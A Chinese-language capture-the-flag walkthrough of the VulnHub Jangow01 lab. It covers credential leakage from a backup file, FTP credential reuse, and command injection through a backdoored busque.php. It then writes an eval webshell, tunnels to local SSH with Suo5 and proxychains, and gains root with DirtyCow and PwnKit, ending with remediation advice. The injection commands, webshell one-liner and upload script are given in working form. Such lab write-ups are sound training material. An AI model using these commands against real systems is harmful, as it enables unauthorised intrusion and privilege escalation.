目录

VulnHub Jangow01:利用 Suo5 在不出网靶机中访问本地服务

# 目标发现与服务枚举

# 主机发现

使用 arp-scan 扫描内网存活主机,确定目标 IP。

┌──(npc㉿kali)-[~]
└─$ sudo arp-scan -I eth1 192.168.1.0/24

192.168.1.11    08:00:27:6b:c8:1c       (Unknown)
1
2
3
4

目标主机 IP192.168.1.11

# 端口扫描

使用 nmap 进行 TCP 全端口扫描。

┌──(npc㉿kali)-[~]
└─$ nmap -p- -sV 192.168.1.11

PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http
1
2
3
4
5
6

发现开放了 21/ftp80/http 端口,初步判断靶机仅暴露 FTP 与 Web 服务,攻击面集中在 Web 端。

# FTP 服务探测

尝试使用 anonymous 匿名登录 FTP,失败。

# Web 信息泄露与凭证发现

访问 80 端口,发现是一个 Apache 文件列表页面(Directory Listing)。目录下只有一个 site 目录。

注意:Apache 默认配置通常不会显示以 . 开头的隐藏文件(如 .htaccess.htpasswd.env.git 等),需要通过字典爆破等方式探测。

# 目录爆破

使用 dirsearch 对靶机根目录进行目录爆破:

dirsearch -u http://192.168.1.11
1

# 敏感文件泄露

扫描到一个 .backup 文件,使用 curl 查看内容,发现是一个数据库配置文件,包含了数据库账号密码:

┌──(npc㉿kali)-[~]
└─$ curl http://192.168.1.11/.backup
1
2

泄露内容:

$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
// ... omitted ...
1
2
3
4
5

# 数据库凭证复用与 Webshell 获取

# FTP 登录与文件探测

使用获取到的数据库凭证(jangow01:abygurl69)尝试登录 FTP。 登录成功!且发现 FTP 的根目录即为 Web 服务的根目录。

尝试上传 Webshell,但失败了,提示权限不足(没有写入权限)。

虽然无法写入,但拥有读取权限。 在 site 目录下发现 busque.php 文件,通过 FTP 下载并查看源码,确认这是一个后门 Webshell。

至此确认获得一个 Web RCE(远程命令执行)点,权限为 www-data

# 额外信息收集

site/wordpress/config.php 中读取到另一个数据库配置文件:

$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";
1
2
3

尝试用 desafio02:abygurl69 登录 FTP 失败。

# 漏洞验证

如果不通过 FTP 查看源码,也可以在前端页面 Fuzz busque.php 的参数。

使用 ffuf 探测参数名:

ffuf -u http://192.168.1.11/site/busque.php?busca=FUZZ -w /usr/share/wordlists/dirb/common.txt -fl 2
1

确认参数为 buscar。验证命令执行:

┌──(npc㉿kali)-[~]
└─$ curl http://192.168.1.11/site/busque.php?buscar=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1
2
3

# 靶机不出网环境验证

发现命令执行漏洞后,尝试常规的反弹 Shell 操作(Bash/Python/Perl),均未收到 Shell。怀疑靶机不出网

验证网络连通性:

# Ping 公网 DNS
ping -c 3 8.8.8.8
# 100% packet loss

# Ping 网关
ping -c 3 192.168.1.1
# 100% packet loss

# 检查路由表
ip route
# default via 192.168.1.1 ...

# 尝试 HTTP 请求
curl http://1.1.1.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14

结论:靶机环境不出网(无法主动连接外网)。

应对策略: 由于无法反弹 Shell,传统的 Reverse Shell 思路失效。我们需要转向以下方案:

  1. WebShell 管理工具:使用中国蚁剑、哥斯拉等工具,这些工具基于 HTTP 请求响应,无需靶机主动外连。
  2. HTTP 隧道/代理:使用 Suo5、Neo-reGeorg 等工具,将 HTTP 流量转化为 TCP 隧道,实现对靶机本地端口(如 SSH)的访问。

# 方案一:使用中国蚁剑 (AntSword)

通过前面的 RCE 漏洞写入一句话木马。

curl 参数

  • -G 表示使用 GET 方式传参
  • --data-urlencode 对参数进行 URL 编码,防止特殊字符导致写入失败
curl -G http://192.168.1.11/site/busque.php --data-urlencode "buscar=echo '<?php highlight_file(__FILE__);eval(\$_POST[1]);?>' > /var/www/html/site/shell.php"
1

# 本地提权探测

使用中国蚁剑连接 Webshell,并上传 linpeas.sh 进行提权辅助扫描。

执行扫描并查看结果:

靶机内核版本较老,存在多个高危提权漏洞:

  • Dirty Cow (CVE-2016-5195)
  • Dirty Pipe
  • PwnKit
  • Sudo 提权

# 尝试 DirtyCow 提权

上传 dirtycow exploit (opens new window)。靶机自带 gcc 环境,直接编译:

gcc -pthread dirty.c -o dirty -lcrypt
./dirty my-new-password
1
2

局限性:虽然 DirtyCow 执行成功并修改了 /etc/passwd(或创建了 root 账号),但由于我们目前只有 Webshell 权限,且没有交互式 Shell 环境(su 切换用户需要交互式终端),无法直接切换到 root 用户进行操作。我们需要一个能登录 SSH 的通道。

# 方案二:使用 Suo5 搭建 HTTP 隧道

# Suo5 简介

Suo5 (opens new window) 是一个高性能的 HTTP 隧道工具。它不是在 PHP 中实现完整的 SOCKS5 协议,而是:

  1. 客户端将本地流量封装为 HTTP 请求发送给服务端(suo5.php)。
  2. suo5.php 在靶机上解析请求,建立 Socket 连接目标地址(如 127.0.0.1:22)。
  3. 将响应数据通过 HTTP 回传给客户端。

# 部署与连接

为了方便上传文件,先写入一个简单的 PHP 上传页面 upload.php

<?php
$upload_path = "/var/www/html/site/";

if (isset($_FILES['file'])) {
    $filename = basename($_FILES['file']['name']);
    $target   = $upload_path . "/" . $filename;

    if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
        echo "Upload success: $target";
    } else {
        echo "Upload failed";
    }
}
?>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="Upload">
</form>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

利用 Base64 编码写入文件(防止特殊字符导致写入失败):

# 本地将文件内容转为 base64 单行字符串
# 写入命令: echo [base64_str] | base64 -d > 目标文件
upload=$(cat upload.php|base64|tr -d '\n')
curl -G http://192.168.1.11/site/busque.php --data-urlencode "buscar=echo $upload|base64 -d > /var/www/html/site/upload.php"
1
2
3
4

访问 upload.php,上传 suo5.php 服务端文件。

curl -F "file=@suo5.php" http://192.168.1.11/site/upload.php
1

启动 Suo5 客户端,连接 Shell:

# -t 指定服务端URL
./suo5 -t http://192.168.1.11/site/suo5.php
1
2

连接成功后,Suo5 会在本地 1111 端口开启 SOCKS5 代理。

# 代理链配置

配置 /etc/proxychains4.conf,将流量指向 Suo5 的代理端口:

[ProxyList]
socks5  127.0.0.1  1111
1
2

# 代理 SSH 登录

既然靶机开启了 SSH 服务但不出网,我们现在可以通过代理直接连入 SSH。 利用之前收集到的凭证 jangow01:abygurl69

proxychains4 ssh jangow01@localhost
# 或者使用靶机内网IP
# proxychains4 ssh jangow01@192.168.1.11
1
2
3

成功获取交互式 Shell!

# 再次尝试提权

现在拥有了交互式 Shell,可以再次尝试提权。

  1. DirtyCow: 之前尝试过,可以再次执行。
  2. PwnKit (CVE-2021-4034): 更稳定推荐。

下载 PwnKit (opens new window),编译(或上传编译好的):

# 在攻击机编译好上传,或者直接在靶机编译
gcc PwnKit.c -o PwnKit
./PwnKit
1
2
3

成功获得 Root 权限。

# 总结

本次渗透测试的核心在于不出网环境下的权限获取

  1. 信息收集:发现 .backup 备份文件,获取数据库凭证。
  2. 凭证复用:利用数据库密码登录 FTP,虽然无法写入 Shell,但利用 FTP 读取权限获取了现有的 Webshell 代码。
  3. 不出网突破
    • 发现靶机无法反弹 Shell。
    • 通过写入 suo5 代理工具,建立 HTTP 隧道。
    • 配合 proxychains 代理 ssh 流量,成功登录靶机获取交互式 Shell。
  4. 提权:利用内核漏洞(DirtyCow/PwnKit)完成 Root 提权。

修复建议

  • 及时更新系统内核和软件版本。
  • 禁止 Web 目录显示文件列表(Options -Indexes)。
  • 清理 Web 根目录下的备份文件和敏感配置。
  • 数据库与 FTP/SSH 等服务应当使用不同密码。
  • 严格限制 Web 目录的写入权限,并查杀 Webshell。
最后一次更新于: 2026/02/04, 14:32:28